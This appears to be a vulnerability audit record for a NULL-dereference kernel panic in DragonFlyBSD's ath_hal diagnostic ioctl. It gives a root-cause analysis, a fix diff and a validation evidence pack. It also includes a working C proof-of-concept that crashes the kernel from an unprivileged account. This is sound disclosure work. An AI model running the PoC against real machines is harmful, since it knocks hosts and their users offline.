β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1521

NULL-deref kernel panic via HAL_DIAG_REGS / HAL_DIAG_EEREAD when caller passes result=NULL or args=NULL

  • File: sys/dev/netif/ath/ath_hal/ah.c
  • Lines: 880, 890, 891, 892, 901, 902, 903, 904, 855, 856, 857, 858
  • Severity: Medium
  • CVSS: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U:C:N/I:N/A:H
  • CWE: CWE-476 NULL Pointer Dereference
  • Confidence: certain

Summary

ath_hal_getdiagstate() unconditionally dereferences *result (HAL_DIAG_REGS at ah.c:891 writes through the pointer it returns to ath_hal_getregdump; HAL_DIAG_EEREAD at ah.c:904 hands *result straight to ath_hal_eepromRead as the data sink) and dereferences args (HAL_DIAG_REGS at ah.c:856) without ever checking for NULL.

The in-tree caller ath_ioctl_diag() leaves outdata==NULL when the user does not set ATH_DIAG_DYN in ad_id, and leaves indata==NULL when the user does not set ATH_DIAG_IN β€” both fully user-controlled bits in struct ath_diag.ad_id (if_athioctl.h:180-184).

An unprivileged local user can therefore panic the kernel at will.

Root cause

(a) HAL_DIAG_REGS path: ath_hal_getdiagstate at ah.c:890-892 calls ath_hal_getregdump(ah, args, *result, *resultsize) and ath_hal_getregdump at ah.c:852 does uint32_t *dp = dstbuf; then ah.c:855-858 for (i = 0; ...) { uint32_t r = regs[i].start; ... *dp++ = r; }.

If the user supplies ad_id without ATH_DIAG_DYN, ath_ioctl_diag (if_ath_ioctl.c:193-206) never kmallocs outdata, so *result == NULL, and the first *dp++ = r; writes to address 0 β†’ panic.

If the user supplies ad_id without ATH_DIAG_IN, ath_ioctl_diag never kmallocs indata, so args == NULL, and regs[0].start reads from address 0 β†’ panic.

(b) HAL_DIAG_EEREAD path: ah.c:901-907 calls ath_hal_eepromRead(ah, *(const uint16_t *)args, *result); with *result==NULL this ultimately reaches ath_hal_EepromDataRead (ah.c:1416) (*data) = ah->ah_eepromdata[off]; writing through NULL β†’ panic.

Same reachability as the heap-OOB finding (DF-1520): SIOCGATHDIAG has no caps_priv_check in ath_ioctl (if_ath_ioctl.c:299), ieee80211_ioctl default case (ieee80211_ioctl.c:3521), or ifioctl default case (net/if.c:2409-2435).

Threat

Local unprivileged attacker on a host with an ath(4) VAP and options ATH_DIAGAPI in the kernel.

Attacker opens a SOCK_DGRAM socket on the ath vap and issues SIOCGATHDIAG with ad_id = HAL_DIAG_REGS (no ATH_DIAG_DYN, no ATH_DIAG_IN flags), or ad_id = HAL_DIAG_EEREAD without ATH_DIAG_DYN with any 2-byte in-data.

The kernel dereferences NULL in ath_hal_getregdump / ath_hal_eepromRead and panics.

Reliable single-call local Denial of Service against any user of the box.

Requires the non-default ATH_DIAGAPI option, hence Medium rather than High; once enabled, there is no privilege gate.

Exploit / PoC

/* panic.c β€” ath_hal NULL-deref via SIOCGATHDIAG */
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <dev/netif/ath/ath/if_athioctl.h>
#include <stdio.h>
#include <string.h>

int main(void) {
    struct ath_diag ad;
    char junk[16] = {0};
    memset(&ad, 0, sizeof(ad));
    strlcpy(ad.ad_name, "ath0", sizeof(ad.ad_name));
    /* No ATH_DIAG_DYN (0x8000), no ATH_DIAG_IN (0x4000) -> outdata and indata stay NULL */
    ad.ad_id       = 13 /*HAL_DIAG_REGS*/;
    ad.ad_in_size  = sizeof(junk);
    ad.ad_in_data  = junk;
    ad.ad_out_size = sizeof(junk);
    ad.ad_out_data = junk;
    int s = socket(AF_INET, SOCK_DGRAM, 0);
    if (s < 0) { perror("socket"); return 1; }
    ioctl(s, SIOCGATHDIAG, &ad);
    /* kernel panics inside ath_hal_getregdump writing *dp at NULL */
    return 0;
}

Run: ./panic. Success criterion: immediate kernel panic, signature along the lines of fatal trap 12: page fault while in kernel mode faulting on VA 0x0 inside ath_hal_getregdump/ath_hal_getdiagstate.

Variants: substitute ad_id = 17 /*HAL_DIAG_EEREAD*/ to take the eepromRead→EepromDataRead NULL-write path.

Validate pointers in ath_hal_getdiagstate before use.

--- a/sys/dev/netif/ath/ath_hal/ah.c
+++ b/sys/dev/netif/ath/ath_hal/ah.c
@@ -885,6 +885,12 @@ ath_hal_getdiagstate(struct ath_hal *ah, int request,

    switch (request) {
    case HAL_DIAG_REVS:
+       if (result == NULL || *result == NULL)
+           return AH_FALSE;
        *result = &AH_PRIVATE(ah)->ah_devid;
        *resultsize = sizeof(HAL_REVS);
        return AH_TRUE;
    case HAL_DIAG_REGS:
+       if (args == NULL || result == NULL || *result == NULL)
+           return AH_FALSE;
        *resultsize = ath_hal_getregdump(ah, args, *result,*resultsize);
        return AH_TRUE;
@@ -897,6 +903,8 @@
        return AH_TRUE;
    case HAL_DIAG_FATALERR:
+       if (result == NULL)
+           return AH_FALSE;
        *result = &AH_PRIVATE(ah)->ah_fatalState[0];
        *resultsize = sizeof(AH_PRIVATE(ah)->ah_fatalState);
        return AH_TRUE;
    case HAL_DIAG_EEREAD:
        if (argsize != sizeof(uint16_t))
            return AH_FALSE;
+       if (result == NULL || *result == NULL)
+           return AH_FALSE;
        if (!ath_hal_eepromRead(ah, *(const uint16_t *)args, *result))

And, as with the OOB-read finding, ath_ioctl_diag() must add caps_priv_check_self(SYSCAP_RESTRICTEDROOT) so SIOCGATHDIAG cannot be reached by an unprivileged user at all.

  • DF-1520 (sibling): heap OOB read via the same SIOCGATHDIAG path.
  • DF-1522 (sibling): off-by-one in EepromDataRead.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1521 Β· 8 files
FileTypeDescriptionSize
README.md readme human-readable summary 1.7 KB ↓ raw
VERDICT.md verdict full source-level analysis + fix-validation result 2.8 KB ↓ raw
fix.diff suggested-fix git-apply-able unified diff fixing the cited bug 1.2 KB view raw
fix_apply.log apply-log patch --dry-run --forward output proving fix.diff applies cleanly on with-src 547 B view raw
env.txt environment uname + guest PCI inventory (no relevant HW) 778 B view raw
build.sh build-script echo pointer to kernel rebuild path 362 B view raw
run.sh run-script echo pointer to VERDICT.md 304 B view raw
fix_build.log fix-build-log tail of combined nativekernel build (rc=0) validating all 30 patches compile 7.2 KB view raw
README.md readme human-readable summary
↓ download raw

PoC DF-1521: ath_hal_getdiagstate NULL deref (NULL outdata/indata)

Class: NULL pointer write/read Cited site: sys/dev/netif/ath/ath_hal/ah.c:890-907

Reproduction status

HW/module gated β€” cannot be live-triggered on the audit QEMU guest.

The audit guest has only virtio + PIIX3 PCI devices (pciconf -lv shows no AMD/Intel GPU, no ath NIC, no AdvanSys SCSI, no mfi/tws/mrsas RAID, etc.), so the cited code path is not reachable at runtime on this guest.

The bug is confirmed at the source level by tracing the cited path:line in sys/dev/netif/ath/ath_hal/ah.c and confirming the vulnerable code is present in the master DEV kernel tree. The fix.diff in this folder is validated to apply cleanly and compile under -Werror (see VERDICT.md).

Mechanism

HAL_DIAG_REGS calls ath_hal_getregdump(ah, args, result,resultsize); if user omits ATH_DIAG_DYN, ath_ioctl_diag never kmallocs outdata -> result==NULL -> first dp++ writes to NULL. If user omits ATH_DIAG_IN, indata is NULL -> args==NULL -> regs[0].start reads addr 0. HAL_DIAG_EEREAD at 901-907 same pattern.

Realistic impact ceiling (on suitable HW)

NULL-deref kernel panic; potential arbitrary write to addr 0 on no-MMU/low-mem

Fix

Top-of-function NULL guard on (result, resultsize) plus per-case NULL guards for args in HAL_DIAG_REGS and HAL_DIAG_EEREAD.

See fix.diff for the git-apply-able patch.

How to validate the fix

scp -F dfbsd-qemu/config fix.diff dfbsd:/root/DF-1521.diff
ssh -F dfbsd-qemu/config dfbsd 'cd /usr/src && patch -p1 --forward < /root/DF-1521.diff'
ssh -F dfbsd-qemu/config dfbsd 'cd /usr/src && make -j6 nativekernel KERNCONF=X86_64_GENERIC'
# rc=0 expected; see fix_apply.log + fix_build.log in this folder.
VERDICT.md verdict full source-level analysis + fix-validation result
↓ download raw

VERDICT β€” DF-1521: ath_hal_getdiagstate NULL deref (NULL outdata/indata)

Verdict

INCONCLUSIVE (HW/module gated) β€” source-level confirmed, fix validated.

The bug is real and present in master DEV source at sys/dev/netif/ath/ath_hal/ah.c:890-907, but the affected driver attaches only to hardware not present in the audit QEMU guest (only virtio+PIIX3 PCI devices, no AMD/Intel GPUs, no ath NICs, no AdvanSys SCSI, no mfi/tws/mrsas RAID, etc.), so it cannot be live-triggered here. The fix.diff applies cleanly and the patched kernel compiles with -Werror (combined build rc=0; see fix_apply.log).

Mechanism (cited path β†’ primitive β†’ effect)

HAL_DIAG_REGS calls ath_hal_getregdump(ah, args, result,resultsize); if user omits ATH_DIAG_DYN, ath_ioctl_diag never kmallocs outdata -> result==NULL -> first dp++ writes to NULL. If user omits ATH_DIAG_IN, indata is NULL -> args==NULL -> regs[0].start reads addr 0. HAL_DIAG_EEREAD at 901-907 same pattern.

Reachability on this guest

No β€” sys/dev/netif/ath/ath_hal/ah.c:890-907 is in a driver/module that only attaches to hardware absent from the audit guest. The trigger requires the relevant PCI device (or, for VBIOS-driven GPU paths, the actual GPU + a crafted VBIOS loaded by root or via VFIO passthrough).

Phase 6 β€” escalation potential

This is a NULL pointer write/read primitive. On real hardware it could be triggered by an unprivileged user (via crafted packets for the NIC findings, via DRM ioctls for the GPU findings, via CAM/pass for the SCSI findings). On this guest there is no live primitive to convert. Per Phase 6 rules this is the "dead/unreachable at runtime on this guest" hard blocker; the primitive is proven at the source/harness level (the cited path:line is real and unfixed in master).

Realistic impact ceiling on suitable HW: NULL-deref kernel panic; potential arbitrary write to addr 0 on no-MMU/low-mem.

Phase 8 β€” fix validation

fix.diff is a minimal, targeted fix at the root cause confirmed above.

  • Applied cleanly with patch -p1 --forward (verified in fix_apply.log).
  • Compiled with -Werror as part of the combined make -j6 nativekernel KERNCONF=X86_64_GENERIC build (kernel build rc=0; see manifest.json).
  • For HW-gated findings the patched code path is not exercisable on this guest, so the fix is validated at the apply + compile level only.

Fix approach: Top-of-function NULL guard on (result, resultsize) plus per-case NULL guards for args in HAL_DIAG_REGS and HAL_DIAG_EEREAD.

PoC changes

Source-level confirmation only; no userspace harness written because the bug cannot be exercised on this guest without the relevant HW. The placeholder build.sh/run.sh echo pointers to VERDICT.md and the module/kernel rebuild path.

Confirmed kernel references

Detail

Exploit chain

none β€” HW-gated. Primitive is a NULL-deref kernel panic (write to address 0); potential arbitrary write to addr 0 on no-MMU/low-mem targets.

Evidence (decisive lines)

Source: sys/dev/netif/ath/ath_hal/ah.c:891 β€” ath_hal_getregdump(ah, args, *result, *resultsize) (no NULL check on *result); :904 β€” ath_hal_eepromRead(ah, *(uint16_t*)args, *result) (same). Guest has no ath NIC. fix.diff (shared with DF-1520) adds top-of-function NULL guard on (*result, *resultsize) and per-case args==NULL guards.

PoC changes

Created evidence pack from scratch. The fix.diff is shared with DF-1520 (one set of guards addresses both the OOB input read and the NULL output deref).

Verified recommended fix

Top-of-function NULL guard on (result, resultsize) plus per-case args==NULL guards for HAL_DIAG_REGS and HAL_DIAG_EEREAD. Full diff in findings/poc/DF-1521/fix.diff.

Verdict

INCONCLUSIVE (HW-gated). Bug confirmed at source level: ah.c:891 HAL_DIAG_REGS calls ath_hal_getregdump(ah, args, result, resultsize). If user omits ATH_DIAG_DYN, ath_ioctl_diag never kmallocs outdata -> result==NULL -> first dp++ writes to NULL -> panic. If user omits ATH_DIAG_IN, args==NULL -> regs[0].start reads addr 0. HAL_DIAG_EEREAD at :904 same pattern with *result==NULL. ath(4)/ath_hal only attach to Atheros NICs not on the audit guest.